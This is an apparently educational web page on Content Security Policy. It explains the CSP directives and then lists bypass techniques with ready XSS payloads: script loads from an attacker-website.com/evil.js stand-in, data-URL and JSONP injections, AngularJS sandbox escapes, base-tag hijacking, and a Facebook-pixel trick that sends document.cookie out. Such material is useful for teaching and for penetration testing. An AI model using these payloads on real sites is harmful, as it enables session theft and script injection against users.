Content Security Policy (CSP) bypass
Last updated
Was this helpful?
Last updated
Was this helpful?
Become VeryLazyTech ! π
Follow us on:
β Twitter .
πΎ Github .
π Medium .
πΊ YouTube .
π© Telegram .
π΅οΈββοΈ My Site .
Visit our for e-books and courses. π
Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at shielding against attacks such as cross-site scripting (XSS). It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like eval
, setTimeout
, or setInterval
.
Implementation of CSP is conducted through response headers or by incorporating meta elements into the HTML page. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations.
Implemented via response header:
Implemented via meta tag:
CSP can be enforced or monitored using these headers:
Content-Security-Policy
: Enforces the CSP; the browser blocks any violations.
Content-Security-Policy-Report-Only
: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of eval()
. An example policy is:
script-src: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.
default-src: Sets a default policy for fetching resources when specific fetch directives are absent.
child-src: Specifies allowed resources for web workers and embedded frame contents.
connect-src: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.
frame-src: Restricts URLs for frames.
frame-ancestors: Specifies which sources can embed the current page, applicable to elements like <frame>
, <iframe>
, <object>
, <embed>
, and <applet>
.
img-src: Defines allowed sources for images.
font-src: Specifies valid sources for fonts loaded using @font-face
.
manifest-src: Defines allowed sources of application manifest files.
media-src: Defines allowed sources for loading media objects.
object-src: Defines allowed sources for <object>
, <embed>
, and <applet>
elements.
base-uri: Specifies allowed URLs for loading using <base>
elements.
form-action: Lists valid endpoints for form submissions.
plugin-types: Restricts mime types that a page may invoke.
upgrade-insecure-requests: Instructs browsers to rewrite HTTP URLs to HTTPS.
sandbox: Applies restrictions similar to the sandbox attribute of an <iframe>
.
report-to: Specifies a group to which a report will be sent if the policy is violated.
worker-src: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.
prefetch-src: Specifies valid sources for resources that will be fetched or prefetched.
navigate-to: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)
*
: Allows all URLs except those with data:
, blob:
, filesystem:
schemes.
'self'
: Allows loading from the same domain.
'data'
: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).
'none'
: Blocks loading from any source.
'unsafe-eval'
: Allows the use of eval()
and similar methods, not recommended for security reasons.
'unsafe-hashes'
: Enables specific inline event handlers.
'unsafe-inline'
: Allows the use of inline resources like inline <script>
or <style>
, not recommended for security reasons.
'nonce'
: A whitelist for specific inline scripts using a cryptographic nonce (number used once).
If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]")
and then reuse it to load a malicious script.
'sha256-<hash>'
: Whitelists scripts with a specific sha256 hash.
'strict-dynamic'
: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
'host'
: Specifies a specific host, like example.com
.
https:
: Restricts URLs to those that use HTTPS.
blob:
: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
filesystem:
: Allows resources to be loaded from the filesystem.
'report-sample'
: Includes a sample of the violating code in the violation report (useful for debugging).
'strict-origin'
: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
'strict-origin-when-cross-origin'
: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
'unsafe-allow-redirects'
: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
Some CSP rules are like leaving the back door unlocked. Hereβs what to watch for:
What It Means: Allows inline scripts (e.g., <script>alert(1);</script>).
How to Exploit: Inject <script>alert(1);</script> into an XSS vulnerability.
Example: "/><script>alert(1);</script> works if thereβs an input field reflecting your code.
Why It Works: The CSP doesnβt block inline code, so your script runs free.
What It Means: Allows eval()βa function that runs raw JavaScript strings.
How to Exploit: Use a data URL like <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> (base64 for alert(document.domain)).
Tip: Some modern browsers block this, so test it first.
What It Means: Allows resources from any URL (except data:, blob:, etc.).
How to Exploit: Load a script from your server: <script src="https://your-site.com/evil.js"></script>.
Example: "/><script src=https://attacker-website.com/evil.js></script>.
What It Means: Older trick to load malicious objects, but modern browsers often block it.
How to Exploit: Try <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> (base64 for <script>alert(1)</script>).
Heads-Up: This is mostly patched, but check older systems.
What It Means: CSP allows scripts from the same site ('self'), and you can upload files.
How to Exploit:
Upload a JavaScript file disguised as something else (e.g., script.png.js).
Inject <script src="/uploads/script.png.js"></script>.
Trick: Some servers (like Apache) donβt recognize weird extensions (e.g., .wave) and serve them as scripts. Use a polyglot (a file thatβs both an image and JS) if the server checks formats.
Example: "/><script src="/uploads/picture.png.js"></script>.
Websites often trust big names like Google or Facebook. You can turn that trust against them.
What It Means: Some APIs (like Googleβs search) let you define a callback function.
How to Exploit: <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> runs alert(1).
Why It Works: The CSP trusts the domain, and JSONP slips your code in.
What It Means: CSP allows domains like www.facebook.com or cdn.jsdelivr.net.
How to Exploit:
Sign up for a Facebook Developer account, get an App ID (e.g., 1279785999289471).
Inject: fbq('init', '1279785999289471'); fbq('trackCustom', 'MyEvent', {data: document.cookie});.
Check your Facebook Events Manager for the stolen data.
Tip: Look for domains like *.cloudfront.net or *.firebaseapp.comβtheyβre often exploitable.
What It Means: If AngularJS is allowed (e.g., from cdnjs.cloudflare.com), itβs a goldmine for XSS.
How to Exploit:
Simple: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script><div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('alert(1)')}}</div>.
Events: <input ng-focus="$event.path|orderBy:'alert(document.cookie)'"> escapes CSP sandboxes.
Why It Works: Angularβs flexibility lets you run code even with CSP in place.
What It Means: If user input tweaks the CSP, you can break it.
How to Exploit:
Chrome: Add ;script-src-elem * to allow all scripts.
Edge: Add ;_ to disable the whole policy.
Example: http://site.com/?x=;script-src-elem+*&y=<script>alert(1)</script>.
What It Means: No base-uri means you can hijack relative paths.
How to Exploit: <base href="https://your-site.com/"><script src="/js/app.js"></script> loads your script.
Tip: Use HTTPS if the site does.
What It Means: importScripts() ignores CSP.
How to Exploit: Register a worker to load evil.js from anywhere.
What It Means: Overload the server (e.g., 1001 GET params) to skip CSP headers.
How to Exploit: Send a huge request and inject <script>alert(1)</script>.
Learn & practice
Become VeryLazyTech ! π
β Twitter .
πΎ Github .
π Medium .
πΊ YouTube .
π© Telegram .
π΅οΈββοΈ My Site .
Visit our for e-books and courses. π